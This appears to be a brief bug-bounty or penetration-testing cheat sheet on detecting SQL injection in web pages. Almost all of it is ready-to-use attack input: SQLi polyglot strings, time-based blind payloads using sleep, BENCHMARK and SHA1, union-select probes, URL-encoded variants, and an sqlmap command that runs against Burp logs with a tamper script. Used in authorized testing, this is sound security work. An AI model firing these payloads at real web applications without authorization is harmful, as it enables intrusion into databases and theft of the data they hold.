Core Idea: Does the page look like it might need to call on stored data?
There exist some SQLi polyglots, i.e (Mathias Karlsson):
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Works in single quote context, works in double quote context, works in “straight into query” context!
You can also leverage the large database of fuzzlists from Seclists (https://github.com/danielmiessler/SecLists)
Blind is predominant, Error based is highly unlikely.
'%2Bbenchmark(3200,SHA1(1))%2B'
'+BENCHMARK(40000000,SHA1(1337))+'
SQLMap is king!
Lots of injection in web services!
Time-based detection payloads:
' or sleep(15) and 1=1# ' or sleep(15)# ' union select sleep(15),null# '%2Bbenchmark(3200,SHA1(1))%2B'
Polyglot (jhaddix):
"SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
sqlmap -l burp.log –tamper=space2comment to parse Burp logs